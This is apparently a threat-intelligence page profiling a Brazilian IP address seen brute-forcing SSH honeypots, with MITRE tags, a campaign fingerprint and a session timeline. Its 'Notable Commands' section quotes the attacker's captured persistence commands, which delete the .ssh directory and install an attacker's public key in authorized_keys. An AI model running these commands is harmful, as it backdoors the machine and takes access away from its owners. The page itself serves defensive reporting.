IntrusionLabs / threat intelligence

Sign in

← Back to feed

177.54.62.68

TAGGED SUSPICIOUS how we decide →

Threat Confidence

53%

Location

🇧🇷 BR / Criciúma

ASN

AS28292 · ENGEPLUS INFORMATICA LTDA

Cloud Provider

—

Total Events

204

Above average by volume

Agent Count

1

First / Last Seen

2026-04-30 20:58 — 2026-04-30 21:35

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Not flagged by any external feeds

Campaigns

HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (665 IPs, 76 countries) HASSH Active high 🇭🇰 HK

665 IPs 259031 events

2026-02-28 — ongoing · 665 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …

Session Forensics

malware_dropper ×3 credential_probe ×30 opportunistic_bruter ×3

Sessions

36 (6 with login)

Avg Depth Score

0.29

Commands Executed

9

Files Downloaded

3

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

af8223ac9914f509afdadfaf5f7ee94e

SSH Client

SSH-2.0-libssh_0.12.0

Evidence Timeline

Credential Probe b4d194a4da7f w4m_seattle_01 · 2026-04-30 21:35

1 20%

Loading events...

Credential Probe 215cab0d7e1b w4m_seattle_01 · 2026-04-30 21:34

1 20%

Loading events...

Credential Probe 4d3ec3de1502 w4m_seattle_01 · 2026-04-30 21:33

1 20%

Loading events...

Credential Probe 0d201735fa6e w4m_seattle_01 · 2026-04-30 21:32

1 20%

Loading events...

Credential Probe 3798db4c289c w4m_seattle_01 · 2026-04-30 21:31

1 20%

Loading events...

Credential Probe 24ec20ccb3e4 w4m_seattle_01 · 2026-04-30 21:30

1 20%

Loading events...

Credential Probe 7f17657d4e9a w4m_seattle_01 · 2026-04-30 21:29

1 20%

Loading events...

Credential Probe c63b58dcc97a w4m_seattle_01 · 2026-04-30 21:28

1 20%

Loading events...

Credential Probe 813b656fd6e8 w4m_seattle_01 · 2026-04-30 21:27

1 20%

Loading events...

Credential Probe ec94d608d2ea w4m_seattle_01 · 2026-04-30 21:26

1 20%

Loading events...

Credential Probe 4bf2aabca44f w4m_seattle_01 · 2026-04-30 21:24

1 20%

Loading events...

Opportunistic Bruter 1f2eed68c904 w4m_seattle_01 · 2026-04-30 21:23

1 50%

Loading events...

Malware Dropper f39344d3613f w4m_seattle_01 · 2026-04-30 21:23

3 1 1 100%

Loading events...

Credential Probe 3d9283e17fe6 w4m_seattle_01 · 2026-04-30 21:23

1 20%

Loading events...

Credential Probe 782fe35b51fa w4m_seattle_01 · 2026-04-30 21:22

1 20%

Loading events...

Malware Dropper 0c83481d18bd w4m_seattle_01 · 2026-04-30 21:21

3 1 1 100%

Loading events...

Opportunistic Bruter e506ccc1867a w4m_seattle_01 · 2026-04-30 21:21

1 50%

Loading events...

Credential Probe 0bcdc050830d w4m_seattle_01 · 2026-04-30 21:21

1 20%

Loading events...

Credential Probe 8a14ad5d7217 w4m_seattle_01 · 2026-04-30 21:20

1 20%

Loading events...

Credential Probe eda1fbc9f955 w4m_seattle_01 · 2026-04-30 21:19

1 20%

Loading events...

Credential Probe 9d9cfd406da7 w4m_seattle_01 · 2026-04-30 21:18

1 20%

Loading events...

Credential Probe 50a7ae9247b3 w4m_seattle_01 · 2026-04-30 21:17

1 20%

Loading events...

Credential Probe 6a3af1c4cdf8 w4m_seattle_01 · 2026-04-30 21:16

1 20%

Loading events...

Credential Probe 8ace5fc18bd3 w4m_seattle_01 · 2026-04-30 21:15

1 20%

Loading events...

Credential Probe 3d1c2ee4b503 w4m_seattle_01 · 2026-04-30 21:14

1 20%

Loading events...

Credential Probe 51bb56260b07 w4m_seattle_01 · 2026-04-30 21:13

1 20%

Loading events...

Credential Probe 11ebb129afac w4m_seattle_01 · 2026-04-30 21:12

1 20%

Loading events...

Credential Probe b2fd8ae3b2c1 w4m_seattle_01 · 2026-04-30 21:11

1 20%

Loading events...

Credential Probe 2a37f3ceb8e5 w4m_seattle_01 · 2026-04-30 21:09

1 20%

Loading events...

Credential Probe 1e216069f9b4 w4m_seattle_01 · 2026-04-30 21:08

1 20%

Loading events...

Credential Probe 8be814f4d3c3 w4m_seattle_01 · 2026-04-30 21:07

1 20%

Loading events...

Opportunistic Bruter 05b11c8f7638 w4m_seattle_01 · 2026-04-30 21:06

1 50%

Loading events...

Malware Dropper e8b9b0f1075e w4m_seattle_01 · 2026-04-30 21:06

3 1 1 100%

Loading events...

Credential Probe 3ee0d269ec85 w4m_seattle_01 · 2026-04-30 21:06

1 20%

Loading events...

Credential Probe 39d39d800a6c w4m_seattle_01 · 2026-04-30 21:05

1 20%

Loading events...

Credential Probe d12262155c00 w4m_seattle_01 · 2026-04-30 20:58

1 20%

Loading events...